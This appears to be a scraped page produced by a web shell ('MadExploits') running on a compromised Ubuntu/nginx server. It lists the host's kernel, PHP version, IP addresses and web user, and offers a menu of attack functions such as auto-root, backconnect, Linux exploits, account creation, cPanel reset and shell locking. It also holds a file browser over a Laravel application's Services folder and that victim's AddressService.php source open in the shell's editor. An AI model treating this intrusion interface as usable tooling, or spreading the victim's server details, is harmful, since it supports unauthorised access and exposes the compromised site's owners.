Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
sifaris /
app /
Services /
[ HOME SHELL ]
Name
Size
Permission
Action
AddressService.php
3.88
KB
-rw-rw-r--
AdminUserService.php
1.94
KB
-rw-rw-r--
AppUserService.php
1.7
KB
-rw-rw-r--
CategoryService.php
6.28
KB
-rw-rw-r--
FiscalService.php
1.13
KB
-rw-rw-r--
OfficeService.php
888
B
-rw-rw-r--
PriorityService.php
2.01
KB
-rw-rw-r--
SifarisFormService.php
994
B
-rw-rw-r--
SifarisRecordService.php
6.4
KB
-rw-rw-r--
StatusService.php
1.93
KB
-rw-rw-r--
YojanaBaseInterface.php
1.59
KB
-rw-rw-r--
YojanaBaseService.php
12.57
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : AddressService.php
<?php namespace App\Services; use App\Models\MasterDistrict; use App\Models\MasterMunicipalitiy; use App\Models\MasterProvince; use DB; use Exception; class AddressService extends YojanaBaseService implements YojanaBaseInterface { public function __construct() { parent::__construct(app(MasterProvince::class)); } public function addRegion($title, $title_np) { return MasterProvince::create( [ 'title' => $title, 'title_np' => $title_np, ] ); } public function updateRegion($region_id, $title, $title_np) { return MasterProvince::find($region_id)->fill( [ 'title' => $title, 'title_np' => $title_np, ] )->save(); } public function deleteRegion($region_id) { DB::beginTransaction(); try { $item = MasterProvince::find($region_id); $item->delete(); DB::commit(); } catch (\Illuminate\Database\QueryException $e) { DB::rollback(); if ($e->getCode() == 23000) { //SQLSTATE[23000]: Integrity constraint violation throw new Exception('This record cannot be deleted as it has been referenced by other records.'); } } catch (\Throwable $th) { DB::rollback(); throw new Exception($th); } } public function addCity($region_id, $title, $title_np) { return MasterDistrict::create( [ 'province_id' => $region_id, 'title' => $title, 'title_np' => $title_np, ] ); } public function updateCity($city_id, $title, $title_np) { return MasterDistrict::find($city_id)->fill( [ 'title' => $title, 'title_np' => $title_np, ] )->save(); } public function deleteCity($city_id) { DB::beginTransaction(); try { $item = MasterDistrict::find($city_id); $item->delete(); DB::commit(); } catch (\Illuminate\Database\QueryException $e) { DB::rollback(); if ($e->getCode() == 23000) { //SQLSTATE[23000]: Integrity constraint violation throw new Exception('This record cannot be deleted as it has been referenced by other records.'); } } catch (\Throwable $th) { DB::rollback(); throw new Exception($th); } } public function addArea($city_id, $type_id, $title, $title_np) { $area = MasterMunicipalitiy::create( [ 'district_id' => $city_id, 'type_id' => $type_id, 'title' => $title, 'title_np' => $title_np, ] ); return MasterMunicipalitiy::with(['municipality_type'])->find($area->id); } public function updateArea($area_id, $type_id, $title, $title_np) { return MasterMunicipalitiy::find($area_id)->fill( [ 'type_id' => $type_id, 'title' => $title, 'title_np' => $title_np, ] )->save(); } public function deleteArea($area_id) { DB::beginTransaction(); try { $item = MasterMunicipalitiy::find($area_id); $item->delete(); DB::commit(); } catch (\Illuminate\Database\QueryException $e) { DB::rollback(); if ($e->getCode() == 23000) { //SQLSTATE[23000]: Integrity constraint violation throw new Exception('This record cannot be deleted as it has been referenced by other records.'); } } catch (\Throwable $th) { DB::rollback(); throw new Exception($th); } } }
Close